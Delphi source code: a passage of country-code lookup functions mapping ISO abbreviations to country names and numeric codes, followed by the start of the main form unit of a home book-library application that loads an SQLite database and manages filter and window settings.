if (Abreviacao = 'DE') or (Code = 79) then Result := 'Germany' else
if (Abreviacao = 'GH') or (Code = 80) then Result := 'Ghana' else
if (Abreviacao = 'GI') or (Code = 81) then Result := 'Gibraltar' else
if (Abreviacao = 'GR') or (Code = 82) then Result := 'Greece' else
if (Abreviacao = 'GL') or (Code = 83) then Result := 'Greenland' else
if (Abreviacao = 'GD') or (Code = 84) then Result := 'Grenada' else
if (Abreviacao = 'GP') or (Code = 85) then Result := 'Guadeloupe' else
if (Abreviacao = 'GU') or (Code = 86) then Result := 'Guam' else
if (Abreviacao = 'GT') or (Code = 87) then Result := 'Guatemala' else
if (Abreviacao = 'GG') or (Code = 88) then Result := 'Guernsey' else
if (Abreviacao = 'GN') or (Code = 89) then Result := 'Guinea' else
if (Abreviacao = 'GW') or (Code = 90) then Result := 'Guinea-Bissau' else
if (Abreviacao = 'GY') or (Code = 91) then Result := 'Guyana' else
if (Abreviacao = 'HT') or (Code = 92) then Result := 'Haiti' else
if (Abreviacao = 'VA') or (Code = 93) then Result := 'Holy See (Vatican City State)' else
if (Abreviacao = 'HN') or (Code = 94) then Result := 'Honduras' else
if (Abreviacao = 'HK') or (Code = 95) then Result := 'Hong Kong' else
if (Abreviacao = 'HU') or (Code = 96) then Result := 'Hungary' else
if (Abreviacao = 'IS') or (Code = 97) then Result := 'Iceland' else
if (Abreviacao = 'IN') or (Code = 98) then Result := 'India' else
if (Abreviacao = 'ID') or (Code = 99) then Result := 'Indonesia' else
if (Abreviacao = 'IR') or (Code = 100) then Result := 'Iran, Islamic Republic Of' else
if (Abreviacao = 'IQ') or (Code = 101) then Result := 'Iraq' else
if (Abreviacao = 'IE') or (Code = 102) then Result := 'Ireland' else
if (Abreviacao = 'IM') or (Code = 103) then Result := 'Isle Of Man' else
if (Abreviacao = 'IL') or (Code = 104) then Result := 'Israel' else
if (Abreviacao = 'IT') or (Code = 105) then Result := 'Italy' else
if (Abreviacao = 'CI') or (Code = 106) then Result := 'Cote D' + '''' + 'ivoire' else
if (Abreviacao = 'JM') or (Code = 107) then Result := 'Jamaica' else
if (Abreviacao = 'JP') or (Code = 108) then Result := 'Japan' else
if (Abreviacao = 'JE') or (Code = 109) then Result := 'Jersey' else
if (Abreviacao = 'JO') or (Code = 110) then Result := 'Jordan' else
if (Abreviacao = 'KZ') or (Code = 111) then Result := 'Kazakhstan' else
if (Abreviacao = 'KE') or (Code = 112) then Result := 'Kenya' else
if (Abreviacao = 'KI') or (Code = 113) then Result := 'Kiribati' else
if (Abreviacao = 'KR') or (Code = 114) then Result := 'Korea, Republic Of' else
if (Abreviacao = 'KW') or (Code = 115) then Result := 'Kuwait' else
if (Abreviacao = 'KG') or (Code = 116) then Result := 'Kyrgyzstan' else
if (Abreviacao = 'LA') or (Code = 117) then Result := 'Lao People' + '''' + 's Democratic Republic' else
if (Abreviacao = 'LV') or (Code = 118) then Result := 'Latvia' else
if (Abreviacao = 'LB') or (Code = 119) then Result := 'Lebanon' else
if (Abreviacao = 'LS') or (Code = 120) then Result := 'Lesotho' else
if (Abreviacao = 'LR') or (Code = 121) then Result := 'Liberia' else
if (Abreviacao = 'LY') or (Code = 122) then Result := 'Libyan Arab Jamahiriya' else
if (Abreviacao = 'LI') or (Code = 123) then Result := 'Liechtenstein' else
if (Abreviacao = 'LT') or (Code = 124) then Result := 'Lithuania' else
if (Abreviacao = 'LU') or (Code = 125) then Result := 'Luxembourg' else
if (Abreviacao = 'MO') or (Code = 126) then Result := 'Macao' else
if (Abreviacao = 'MK') or (Code = 127) then Result := 'Macedonia, The Former Yugoslav Republic Of' else
if (Abreviacao = 'MG') or (Code = 128) then Result := 'Madagascar' else
if (Abreviacao = 'MW') or (Code = 129) then Result := 'Malawi' else
if (Abreviacao = 'MY') or (Code = 130) then Result := 'Malaysia' else
if (Abreviacao = 'MV') or (Code = 131) then Result := 'Maldives' else
if (Abreviacao = 'ML') or (Code = 132) then Result := 'Mali' else
if (Abreviacao = 'MT') or (Code = 133) then Result := 'Malta' else
if (Abreviacao = 'MH') or (Code = 134) then Result := 'Marshall Islands' else
if (Abreviacao = 'MQ') or (Code = 135) then Result := 'Martinique' else
if (Abreviacao = 'MR') or (Code = 136) then Result := 'Mauritania' else
if (Abreviacao = 'MU') or (Code = 137) then Result := 'Mauritius' else
if (Abreviacao = 'YT') or (Code = 138) then Result := 'Mayotte' else
if (Abreviacao = 'MX') or (Code = 139) then Result := 'Mexico' else
if (Abreviacao = 'FM') or (Code = 140) then Result := 'Micronesia, Federated States Of' else
if (Abreviacao = 'MD') or (Code = 141) then Result := 'Moldova, Republic Of' else
if (Abreviacao = 'MC') or (Code = 142) then Result := 'Monaco' else
if (Abreviacao = 'MN') or (Code = 143) then Result := 'Mongolia' else
if (Abreviacao = 'ME') or (Code = 144) then Result := 'Montenegro' else
if (Abreviacao = 'MS') or (Code = 145) then Result := 'Montserrat' else
if (Abreviacao = 'MA') or (Code = 146) then Result := 'Morocco' else
if (Abreviacao = 'MZ') or (Code = 147) then Result := 'Mozambique' else
if (Abreviacao = 'MM') or (Code = 148) then Result := 'Myanmar' else
if (Abreviacao = 'NA') or (Code = 149) then Result := 'Namibia' else
if (Abreviacao = 'NR') or (Code = 150) then Result := 'Nauru' else
if (Abreviacao = 'NP') or (Code = 151) then Result := 'Nepal' else
if (Abreviacao = 'NL') or (Code = 152) then Result := 'Netherlands' else
if (Abreviacao = 'NC') or (Code = 153) then Result := 'New Caledonia' else
if (Abreviacao = 'NZ') or (Code = 154) then Result := 'New Zealand' else
if (Abreviacao = 'NI') or (Code = 155) then Result := 'Nicaragua' else
if (Abreviacao = 'NE') or (Code = 156) then Result := 'Niger' else
if (Abreviacao = 'NG') or (Code = 157) then Result := 'Nigeria' else
if (Abreviacao = 'NU') or (Code = 158) then Result := 'Niue' else
if (Abreviacao = 'NF') or (Code = 159) then Result := 'Norfolk Island' else
if (Abreviacao = 'MP') or (Code = 160) then Result := 'Northern Mariana Islands' else
if (Abreviacao = 'KP') or (Code = 161) then Result := 'Korea, Democratic People' + '''' + 's Republic Of' else
if (Abreviacao = 'NO') or (Code = 162) then Result := 'Norway' else
if (Abreviacao = 'OM') or (Code = 163) then Result := 'Oman' else
if (Abreviacao = 'PK') or (Code = 164) then Result := 'Pakistan' else
if (Abreviacao = 'PW') or (Code = 165) then Result := 'Palau' else
if (Abreviacao = 'PS') or (Code = 166) then Result := 'Palestinian Territory, Occupied' else
if (Abreviacao = 'PA') or (Code = 167) then Result := 'Panama' else
if (Abreviacao = 'PG') or (Code = 168) then Result := 'Papua New Guinea' else
if (Abreviacao = 'PY') or (Code = 169) then Result := 'Paraguay' else
if (Abreviacao = 'PE') or (Code = 170) then Result := 'Peru' else
if (Abreviacao = 'PH') or (Code = 171) then Result := 'Philippines' else
if (Abreviacao = 'PN') or (Code = 172) then Result := 'Pitcairn' else
if (Abreviacao = 'PL') or (Code = 173) then Result := 'Poland' else
if (Abreviacao = 'PT') or (Code = 174) then Result := 'Portugal' else
if (Abreviacao = 'PR') or (Code = 175) then Result := 'Puerto Rico' else
if (Abreviacao = 'QA') or (Code = 176) then Result := 'Qatar' else
if (Abreviacao = 'RE') or (Code = 177) then Result := 'Reunion' else
if (Abreviacao = 'RO') or (Code = 178) then Result := 'Romania' else
if (Abreviacao = 'RU') or (Code = 179) then Result := 'Russian Federation' else
if (Abreviacao = 'RW') or (Code = 180) then Result := 'Rwanda' else
if (Abreviacao = 'BL') or (Code = 181) then Result := 'Saint Barthelemy' else
if (Abreviacao = 'SH') or (Code = 182) then Result := 'Saint Helena, Ascension And Tristan Da Cunha' else
if (Abreviacao = 'KN') or (Code = 183) then Result := 'Saint Kitts And Nevis' else
if (Abreviacao = 'LC') or (Code = 184) then Result := 'Saint Lucia' else
if (Abreviacao = 'MF') or (Code = 185) then Result := 'Saint Martin (French Part)' else
if (Abreviacao = 'PM') or (Code = 186) then Result := 'Saint Pierre And Miquelon' else
if (Abreviacao = 'VC') or (Code = 187) then Result := 'Saint Vincent And The Grenadines' else
if (Abreviacao = 'WS') or (Code = 188) then Result := 'Samoa' else
if (Abreviacao = 'SM') or (Code = 189) then Result := 'San Marino' else
if (Abreviacao = 'ST') or (Code = 190) then Result := 'Sao Tome And Principe' else
if (Abreviacao = 'SA') or (Code = 191) then Result := 'Saudi Arabia' else
if (Abreviacao = 'SN') or (Code = 192) then Result := 'Senegal' else
if (Abreviacao = 'RS') or (Code = 193) then Result := 'Serbia' else
if (Abreviacao = 'SC') or (Code = 194) then Result := 'Seychelles' else
if (Abreviacao = 'SL') or (Code = 195) then Result := 'Sierra Leone' else
if (Abreviacao = 'SG') or (Code = 196) then Result := 'Singapore' else
if (Abreviacao = 'SX') or (Code = 197) then Result := 'Sint Maarten (Dutch Part)' else
if (Abreviacao = 'SK') or (Code = 198) then Result := 'Slovakia' else
if (Abreviacao = 'SI') or (Code = 199) then Result := 'Slovenia' else
if (Abreviacao = 'SB') or (Code = 200) then Result := 'Solomon Islands' else
if (Abreviacao = 'SO') or (Code = 201) then Result := 'Somalia' else
if (Abreviacao = 'ZA') or (Code = 202) then Result := 'South Africa' else
if (Abreviacao = 'GS') or (Code = 203) then Result := 'South Georgia And The South Sandwich Islands ' else
if (Abreviacao = 'ES') or (Code = 204) then Result := 'Spain' else
if (Abreviacao = 'LK') or (Code = 205) then Result := 'Sri Lanka' else
if (Abreviacao = 'SD') or (Code = 206) then Result := 'Sudan' else
if (Abreviacao = 'SR') or (Code = 207) then Result := 'Suriname' else
if (Abreviacao = 'SJ') or (Code = 208) then Result := 'Svalbard And Jan Mayen' else
if (Abreviacao = 'SZ') or (Code = 209) then Result := 'Swaziland' else
if (Abreviacao = 'SE') or (Code = 210) then Result := 'Sweden' else
if (Abreviacao = 'CH') or (Code = 211) then Result := 'Switzerland' else
if (Abreviacao = 'SY') or (Code = 212) then Result := 'Syrian Arab Republic' else
if (Abreviacao = 'TW') or (Code = 213) then Result := 'Taiwan, Province Of China' else
if (Abreviacao = 'TJ') or (Code = 214) then Result := 'Tajikistan' else
if (Abreviacao = 'TZ') or (Code = 215) then Result := 'Tanzania, United Republic Of' else
if (Abreviacao = 'TH') or (Code = 216) then Result := 'Thailand' else
if (Abreviacao = 'TL') or (Code = 217) then Result := 'Timor-Leste' else
if (Abreviacao = 'TG') or (Code = 218) then Result := 'Togo' else
if (Abreviacao = 'TK') or (Code = 219) then Result := 'Tokelau' else
if (Abreviacao = 'TO') or (Code = 220) then Result := 'Tonga' else
if (Abreviacao = 'TT') or (Code = 221) then Result := 'Trinidad And Tobago' else
if (Abreviacao = 'TN') or (Code = 222) then Result := 'Tunisia' else
if (Abreviacao = 'TR') or (Code = 223) then Result := 'Turkey' else
if (Abreviacao = 'TM') or (Code = 224) then Result := 'Turkmenistan' else
if (Abreviacao = 'TC') or (Code = 225) then Result := 'Turks And Caicos Islands' else
if (Abreviacao = 'TV') or (Code = 226) then Result := 'Tuvalu' else
if (Abreviacao = 'UG') or (Code = 227) then Result := 'Uganda' else
if (Abreviacao = 'UA') or (Code = 228) then Result := 'Ukraine' else
if (Abreviacao = 'AE') or (Code = 229) then Result := 'United Arab Emirates' else
if (Abreviacao = 'GB') or (Code = 230) then Result := 'United Kingdom' else
if (Abreviacao = 'US') or (Code = 231) then Result := 'United States' else
if (Abreviacao = 'UY') or (Code = 232) then Result := 'Uruguay' else
if (Abreviacao = 'UZ') or (Code = 233) then Result := 'Uzbekistan' else
if (Abreviacao = 'VU') or (Code = 234) then Result := 'Vanuatu' else
if (Abreviacao = 'VE') or (Code = 235) then Result := 'Venezuela, Bolivarian Republic Of' else
if (Abreviacao = 'VN') or (Code = 236) then Result := 'Viet Nam' else
if (Abreviacao = 'VG') or (Code = 237) then Result := 'Virgin Islands, British' else
if (Abreviacao = 'VI') or (Code = 238) then Result := 'Virgin Islands, U.S.' else
if (Abreviacao = 'WF') or (Code = 239) then Result := 'Wallis And Futuna' else
if (Abreviacao = 'EH') or (Code = 240) then Result := 'Western Sahara' else
if (Abreviacao = 'YE') or (Code = 241) then Result := 'Yemen' else
if (Abreviacao = 'ZM') or (Code = 242) then Result := 'Zambia' else
if (Abreviacao = 'ZW') or (Code = 243) then Result := 'Zimbabwe';
end;
function GetCountryCode(Abreviacao: WideString): Integer;
begin
if Abreviacao = 'AF' then Result := 0 else
if Abreviacao = 'AX' then Result := 1 else
if Abreviacao = 'AL' then Result := 2 else
if Abreviacao = 'DZ' then Result := 3 else
if Abreviacao = 'AS' then Result := 4 else
if Abreviacao = 'AD' then Result := 5 else
if Abreviacao = 'AO' then Result := 6 else
if Abreviacao = 'AI' then Result := 7 else
if Abreviacao = 'AQ' then Result := 8 else
if Abreviacao = 'AG' then Result := 9 else
if Abreviacao = 'AR' then Result := 10 else
if Abreviacao = 'AM' then Result := 11 else
if Abreviacao = 'AW' then Result := 12 else
if Abreviacao = 'AU' then Result := 13 else
if Abreviacao = 'AT' then Result := 14 else
if Abreviacao = 'AZ' then Result := 15 else
if Abreviacao = 'BS' then Result := 16 else
if Abreviacao = 'BH' then Result := 17 else
if Abreviacao = 'BD' then Result := 18 else
if Abreviacao = 'BB' then Result := 19 else
if Abreviacao = 'BY' then Result := 20 else
if Abreviacao = 'BE' then Result := 21 else
if Abreviacao = 'BZ' then Result := 22 else
if Abreviacao = 'BJ' then Result := 23 else
if Abreviacao = 'BM' then Result := 24 else
if Abreviacao = 'BT' then Result := 25 else
if Abreviacao = 'IO' then Result := 26 else
if Abreviacao = 'BO' then Result := 27 else
if Abreviacao = 'BQ' then Result := 28 else
if Abreviacao = 'BA' then Result := 29 else
if Abreviacao = 'BW' then Result := 30 else
if Abreviacao = 'BV' then Result := 31 else
if Abreviacao = 'BR' then Result := 32 else
if Abreviacao = 'BN' then Result := 33 else
if Abreviacao = 'BG' then Result := 34 else
if Abreviacao = 'BF' then Result := 35 else
if Abreviacao = 'BI' then Result := 36 else
if Abreviacao = 'KH' then Result := 37 else
if Abreviacao = 'CM' then Result := 38 else
if Abreviacao = 'CA' then Result := 39 else
if Abreviacao = 'CV' then Result := 40 else
if Abreviacao = 'KY' then Result := 41 else
if Abreviacao = 'CF' then Result := 42 else
if Abreviacao = 'TD' then Result := 43 else
if Abreviacao = 'CL' then Result := 44 else
if Abreviacao = 'CN' then Result := 45 else
if Abreviacao = 'CX' then Result := 46 else
if Abreviacao = 'CC' then Result := 47 else
if Abreviacao = 'CO' then Result := 48 else
if Abreviacao = 'KM' then Result := 49 else
if Abreviacao = 'CG' then Result := 50 else
if Abreviacao = 'CD' then Result := 51 else
if Abreviacao = 'CK' then Result := 52 else
if Abreviacao = 'CR' then Result := 53 else
if Abreviacao = 'HR' then Result := 54 else
if Abreviacao = 'CU' then Result := 55 else
if Abreviacao = 'CY' then Result := 56 else
if Abreviacao = 'CZ' then Result := 57 else
if Abreviacao = 'DK' then Result := 58 else
if Abreviacao = 'DJ' then Result := 59 else
if Abreviacao = 'DM' then Result := 60 else
if Abreviacao = 'DO' then Result := 61 else
if Abreviacao = 'EC' then Result := 62 else
if Abreviacao = 'EG' then Result := 63 else
if Abreviacao = 'SV' then Result := 64 else
if Abreviacao = 'GQ' then Result := 65 else
if Abreviacao = 'ER' then Result := 66 else
if Abreviacao = 'EE' then Result := 67 else
if Abreviacao = 'ET' then Result := 68 else
if Abreviacao = 'FK' then Result := 69 else
if Abreviacao = 'FO' then Result := 70 else
if Abreviacao = 'FJ' then Result := 71 else
if Abreviacao = 'FI' then Result := 72 else
if Abreviacao = 'FR' then Result := 73 else
if Abreviacao = 'PF' then Result := 74 else
if Abreviacao = 'TF' then Result := 75 else
if Abreviacao = 'GA' then Result := 76 else
if Abreviacao = 'GM' then Result := 77 else
if Abreviacao = 'GE' then Result := 78 else
if Abreviacao = 'DE' then Result := 79 else
if Abreviacao = 'GH' then Result := 80 else
if Abreviacao = 'GI' then Result := 81 else
if Abreviacao = 'GR' then Result := 82 else
if Abreviacao = 'GL' then Result := 83 else
if Abreviacao = 'GD' then Result := 84 else
if Abreviacao = 'GP' then Result := 85 else
if Abreviacao = 'GU' then Result := 86 else
if Abreviacao = 'GT' then Result := 87 else
if Abreviacao = 'GG' then Result := 88 else
if Abreviacao = 'GN' then Result := 89 else
if Abreviacao = 'GW' then Result := 90 else
if Abreviacao = 'GY' then Result := 91 else
if Abreviacao = 'HT' then Result := 92 else
if Abreviacao = 'VA' then Result := 93 else
if Abreviacao = 'HN' then Result := 94 else
if Abreviacao = 'HK' then Result := 95 else
if Abreviacao = 'HU' then Result := 96 else
if Abreviacao = 'IS' then Result := 97 else
if Abreviacao = 'IN' then Result := 98 else
if Abreviacao = 'ID' then Result := 99 else
if Abreviacao = 'IR' then Result := 100 else
if Abreviacao = 'IQ' then Result := 101 else
if Abreviacao = 'IE' then Result := 102 else
if Abreviacao = 'IM' then Result := 103 else
if Abreviacao = 'IL' then Result := 104 else
if Abreviacao = 'IT' then Result := 105 else
if Abreviacao = 'CI' then Result := 106 else
if Abreviacao = 'JM' then Result := 107 else
if Abreviacao = 'JP' then Result := 108 else
if Abreviacao = 'JE' then Result := 109 else
if Abreviacao = 'JO' then Result := 110 else
if Abreviacao = 'KZ' then Result := 111 else
if Abreviacao = 'KE' then Result := 112 else
if Abreviacao = 'KI' then Result := 113 else
if Abreviacao = 'KR' then Result := 114 else
if Abreviacao = 'KW' then Result := 115 else
if Abreviacao = 'KG' then Result := 116 else
if Abreviacao = 'LA' then Result := 117 else
if Abreviacao = 'LV' then Result := 118 else
if Abreviacao = 'LB' then Result := 119 else
if Abreviacao = 'LS' then Result := 120 else
if Abreviacao = 'LR' then Result := 121 else
if Abreviacao = 'LY' then Result := 122 else
if Abreviacao = 'LI' then Result := 123 else
if Abreviacao = 'LT' then Result := 124 else
if Abreviacao = 'LU' then Result := 125 else
if Abreviacao = 'MO' then Result := 126 else
if Abreviacao = 'MK' then Result := 127 else
if Abreviacao = 'MG' then Result := 128 else
if Abreviacao = 'MW' then Result := 129 else
if Abreviacao = 'MY' then Result := 130 else
if Abreviacao = 'MV' then Result := 131 else
if Abreviacao = 'ML' then Result := 132 else
if Abreviacao = 'MT' then Result := 133 else
if Abreviacao = 'MH' then Result := 134 else
if Abreviacao = 'MQ' then Result := 135 else
if Abreviacao = 'MR' then Result := 136 else
if Abreviacao = 'MU' then Result := 137 else
if Abreviacao = 'YT' then Result := 138 else
if Abreviacao = 'MX' then Result := 139 else
if Abreviacao = 'FM' then Result := 140 else
if Abreviacao = 'MD' then Result := 141 else
if Abreviacao = 'MC' then Result := 142 else
if Abreviacao = 'MN' then Result := 143 else
if Abreviacao = 'ME' then Result := 144 else
if Abreviacao = 'MS' then Result := 145 else
if Abreviacao = 'MA' then Result := 146 else
if Abreviacao = 'MZ' then Result := 147 else
if Abreviacao = 'MM' then Result := 148 else
if Abreviacao = 'NA' then Result := 149 else
if Abreviacao = 'NR' then Result := 150 else
if Abreviacao = 'NP' then Result := 151 else
if Abreviacao = 'NL' then Result := 152 else
if Abreviacao = 'NC' then Result := 153 else
if Abreviacao = 'NZ' then Result := 154 else
if Abreviacao = 'NI' then Result := 155 else
if Abreviacao = 'NE' then Result := 156 else
if Abreviacao = 'NG' then Result := 157 else
if Abreviacao = 'NU' then Result := 158 else
if Abreviacao = 'NF' then Result := 159 else
if Abreviacao = 'MP' then Result := 160 else
if Abreviacao = 'KP' then Result := 161 else
if Abreviacao = 'NO' then Result := 162 else
if Abreviacao = 'OM' then Result := 163 else
if Abreviacao = 'PK' then Result := 164 else
if Abreviacao = 'PW' then Result := 165 else
if Abreviacao = 'PS' then Result := 166 else
if Abreviacao = 'PA' then Result := 167 else
if Abreviacao = 'PG' then Result := 168 else
if Abreviacao = 'PY' then Result := 169 else
if Abreviacao = 'PE' then Result := 170 else
if Abreviacao = 'PH' then Result := 171 else
if Abreviacao = 'PN' then Result := 172 else
if Abreviacao = 'PL' then Result := 173 else
if Abreviacao = 'PT' then Result := 174 else
if Abreviacao = 'PR' then Result := 175 else
if Abreviacao = 'QA' then Result := 176 else
if Abreviacao = 'RE' then Result := 177 else
if Abreviacao = 'RO' then Result := 178 else
if Abreviacao = 'RU' then Result := 179 else
if Abreviacao = 'RW' then Result := 180 else
if Abreviacao = 'BL' then Result := 181 else
if Abreviacao = 'SH' then Result := 182 else
if Abreviacao = 'KN' then Result := 183 else
if Abreviacao = 'LC' then Result := 184 else
if Abreviacao = 'MF' then Result := 185 else
if Abreviacao = 'PM' then Result := 186 else
if Abreviacao = 'VC' then Result := 187 else
if Abreviacao = 'WS' then Result := 188 else
if Abreviacao = 'SM' then Result := 189 else
if Abreviacao = 'ST' then Result := 190 else
if Abreviacao = 'SA' then Result := 191 else
if Abreviacao = 'SN' then Result := 192 else
if Abreviacao = 'RS' then Result := 193 else
if Abreviacao = 'SC' then Result := 194 else
if Abreviacao = 'SL' then Result := 195 else
if Abreviacao = 'SG' then Result := 196 else
if Abreviacao = 'SX' then Result := 197 else
if Abreviacao = 'SK' then Result := 198 else
if Abreviacao = 'SI' then Result := 199 else
if Abreviacao = 'SB' then Result := 200 else
if Abreviacao = 'SO' then Result := 201 else
if Abreviacao = 'ZA' then Result := 202 else
if Abreviacao = 'GS' then Result := 203 else
if Abreviacao = 'ES' then Result := 204 else
if Abreviacao = 'LK' then Result := 205 else
if Abreviacao = 'SD' then Result := 206 else
if Abreviacao = 'SR' then Result := 207 else
if Abreviacao = 'SJ' then Result := 208 else
if Abreviacao = 'SZ' then Result := 209 else
if Abreviacao = 'SE' then Result := 210 else
if Abreviacao = 'CH' then Result := 211 else
if Abreviacao = 'SY' then Result := 212 else
if Abreviacao = 'TW' then Result := 213 else
if Abreviacao = 'TJ' then Result := 214 else
if Abreviacao = 'TZ' then Result := 215 else
if Abreviacao = 'TH' then Result := 216 else
if Abreviacao = 'TL' then Result := 217 else
if Abreviacao = 'TG' then Result := 218 else
if Abreviacao = 'TK' then Result := 219 else
if Abreviacao = 'TO' then Result := 220 else
if Abreviacao = 'TT' then Result := 221 else
if Abreviacao = 'TN' then Result := 222 else
if Abreviacao = 'TR' then Result := 223 else
if Abreviacao = 'TM' then Result := 224 else
if Abreviacao = 'TC' then Result := 225 else
if Abreviacao = 'TV' then Result := 226 else
if Abreviacao = 'UG' then Result := 227 else
if Abreviacao = 'UA' then Result := 228 else
if Abreviacao = 'AE' then Result := 229 else
if Abreviacao = 'GB' then Result := 230 else
if Abreviacao = 'US' then Result := 231 else
if Abreviacao = 'UY' then Result := 232 else
if Abreviacao = 'UZ' then Result := 233 else
if Abreviacao = 'VU' then Result := 234 else
if Abreviacao = 'VE' then Result := 235 else
if Abreviacao = 'VN' then Result := 236 else
if Abreviacao = 'VG' then Result := 237 else
if Abreviacao = 'VI' then Result := 238 else
if Abreviacao = 'WF' then Result := 239 else
if Abreviacao = 'EH' then Result := 240 else
if Abreviacao = 'YE' then Result := 241 else
if Abreviacao = 'ZM' then Result := 242 else
if Abreviacao = 'ZW' then Result := 243 else Result := -1;
end;
end.
|
unit HomeLibrary_MainForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, ExtCtrls, Graphics, Controls, Forms,
Dialogs, Menus, AIMP_BaseSysUtils, MySkinCtrls, MySkinEngine, MySkinListView,
MySkinEditors, MySkinMenus, MySqlite, HomeLibrary_Query, MyDialogs, ImgList,
ActnList, MySkinTheme, MySkinGroups, MySkinButtons, MySkinProgress;
type
// Editor modes
THomeLibraryEditorMode = (emInsert, emModify);
{ TMainForm }
TModalFormClass = class of TMyForm;
TMainForm = class(TMyForm)
slvMain: TMySkinListView;
spFilterDropDown: TMySkinPanel;
seFilterSearch: TMySkinEdit;
slbSearchStr: TMySkinLabel;
sgbFilterParams: TMySkinGroupBox;
scbByName: TMySkinCheckBox;
scbByAuthor: TMySkinCheckBox;
scbByYear: TMySkinCheckBox;
scbByPublisher: TMySkinCheckBox;
scbByPlace: TMySkinCheckBox;
scbByCategory: TMySkinCheckBox;
scbFilterEnabled: TMySkinCheckBox;
spMainMenu: TMySkinPopup;
miAdd: TMenuItem;
miModify: TMenuItem;
miDelete: TMenuItem;
miBreak1: TMenuItem;
miAbout: TMenuItem;
miLoadBase: TMenuItem;
miQuit: TMenuItem;
slbBaseName: TMySkinLabel;
slbBaseSize: TMySkinLabel;
slbBooksCount: TMySkinLabel;
siLogo: TMySkinImage;
sbActionMenu: TMySkinButton;
sddFilter: TMySkinDropDown;
fdOpen: TMyFileDialog;
spContext: TMySkinPopup;
miContextAdd: TMenuItem;
miContextModify: TMenuItem;
miContextDelete: TMenuItem;
silContext: TMySkinImageList;
alMenuItems: TActionList;
actAdd: TAction;
actModify: TAction;
actDelete: TAction;
actFilter: TAction;
actQuit: TAction;
stMain: TMySkinTheme;
spbWaiting: TMySkinProgressBox;
procedure FormCreate(Sender: TObject);
function slvMainGetItemGroupName(Sender: TObject;
AItem: TMySkinListViewItem; var AName: WideString): Boolean;
procedure miAddClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure miQuitClick(Sender: TObject);
procedure miDeleteClick(Sender: TObject);
procedure miLoadBaseClick(Sender: TObject);
procedure scbFilterEnabledClick(Sender: TObject);
procedure actFilterExecute(Sender: TObject);
procedure slvMainDblClick(Sender: TObject);
procedure slvMainKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure miAboutClick(Sender: TObject);
private
FBaseName: WideString;
FDataFolder: WideString;
function GetFilterCheckedParamsCount: Integer;
// I/O
procedure LoadDataBase(const AFile: WideString);
procedure LoadFilterParams(AIni: TAIMPIniFile);
procedure LoadSettings;
procedure SaveFilterParams(AIni: TAIMPIniFile);
procedure SavePosition(AIni: TAIMPIniFile);
procedure SaveSettings;
procedure ShowModalForm(AForm: TModalFormClass);
public
FBase: TMySqlBase;
FMode: THomeLibraryEditorMode;
// Books
procedure AddBook(ATable: TMySqlTable);
procedure PopulateAll;
procedure PopulateDistinctive(ABox: TMySkinComboBox; AColumnIndex: Integer);
procedure PopulateListByQuery(const AQuery: WideString);
procedure UpdateInformation;
end;
{$R HomeLibrary_Skin.res}
var
MainForm: TMainForm;
implementation
{$R *.dfm}
uses
HomeLibrary_EditorForm,
HomeLibrary_AboutForm;
const
Columns: array[0..6] of WideString = ('ID', 'sName', 'sAuthor', 'iYear',
'sPublisher', 'sPlace', 'sGroup');
ColumnsCount = 7;
BaseName = 'books.db';
ConfigName = 'config.ini';
{ TMainForm }
procedure TMainForm.FormCreate(Sender: TObject);
begin
stMain.LoadFromResource(HInstance, 'Skin', RT_RCDATA);
Color := stMain.ContentColor;
siLogo.Color := stMain.ContentColor;
FDataFolder := ExtractFilePath(ParamStr(0)) + 'Data\';
CreateDir(FDataFolder);
LoadSettings;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
SaveSettings;
FreeAndNil(FBase);
end;
procedure TMainForm.LoadDataBase(const AFile: WideString);
begin
FreeAndNil(FBase);
FBase := TMySqlBase.Create(AFile);
FBase.ShowErrors := False;
FBase.ExecQuery(SQL_CreateBooksTable);
PopulateAll;
FBase.ShowErrors := True;
FBaseName := AFile;
UpdateInformation;
end;
procedure TMainForm.LoadFilterParams(AIni: TAIMPIniFile);
var
ACheck: TMySkinCheckBox;
I: Integer;
begin
for I := 0 to sgbFilterParams.ControlCount - 1 do
begin
ACheck := (sgbFilterParams.Controls[I] as TMySkinCheckBox);
ACheck.Checked := AIni.ReadBool('FilterParams', ACheck.Name, True);
end;
end;
procedure TMainForm.LoadSettings;
var
AIni: TAIMPIniFile;
begin
AIni := TAIMPIniFile.Create(FDataFolder + ConfigName, False);
try
if AIni.ValueExists('Window', 'Rect') then
begin
Position := poDesigned;
BoundsRect := AIni.ReadRect('Window', 'Rect');
end;
if AIni.ReadBool('Window', 'Maximized') then
WindowState := wsMaximized;
LoadDataBase(AIni.ReadString('Files', 'Base', FDataFolder + BaseName));
slvMain.LoadSettings(AIni, 'ListView', 'Params');
LoadFilterParams(AIni);
finally
AIni.Free;
end;
end;
procedure TMainForm.SaveFilterParams(AIni: TAIMPIniFile);
var
ACheck: TMySkinCheckBox;
I: Integer;
begin
for I := 0 to sgbFilterParams.ControlCount - 1 do
begin
ACheck := (sgbFilterParams.Controls[I] as TMySkinCheckBox);
AIni.WriteBool('FilterParams', ACheck.Name, ACheck.Checked);
end;
end;
procedure TMainForm.SavePosition(AIni: TAIMPIniFile);
var
WndPlace: TWindowPlacement;
begin
if GetWindowPlacement(Handle, WndPlace) then
begin
AIni.WriteRect('Window', 'Rect', WndPlace.rcNormalPosition);
AIni.WriteBool('Window', 'Maximized', WindowState = wsMaximized);
end;
end;
procedure TMainForm.SaveSettings;
var
AIni: TAIMPIniFile;
begin
AIni := TAIMPIniFile.Create(FDataFolder + ConfigName, True);
try
SavePosition(AIni);
AIni.WriteString('Files', 'Base', FBaseName);
slvMain.SaveSettings(AIni, 'ListView', 'Params');
SaveFilterParams(AIni);
finally
AIni.Free;
end;
end;
function TMainForm.GetFilterCheckedParamsCount: Integer;
var
I: Integer;
begin
Result := 0;
for I := 0 to sgbFilterParams.ControlCount - 1 do
if (sgbFilterParams.Controls[I] as TMySkinCheckBox).Checked then
Inc(Result);
end;
procedure TMainForm.scbFilterEnabledClick(Sender: TObject);
var
ACount, AIndex: Integer;
ACurrent: TMySkinCheckBox;
AQuery: WideString;
I: Integer;
begin
ACount := GetFilterCheckedParamsCount;
if not (scbFilterEnabled.Checked) or (seFilterSearch.Text = '') or (ACount = 0) then
begin
PopulateAll;
Exit;
end;
AQuery := SQL_SelectFilterValues;
AIndex := 0;
for I := 0 to sgbFilterParams.ControlCount - 1 do
begin
ACurrent := (sgbFilterParams.Controls[I] as TMySkinCheckBox);
if ACurrent.Checked then
begin
Inc(AIndex);
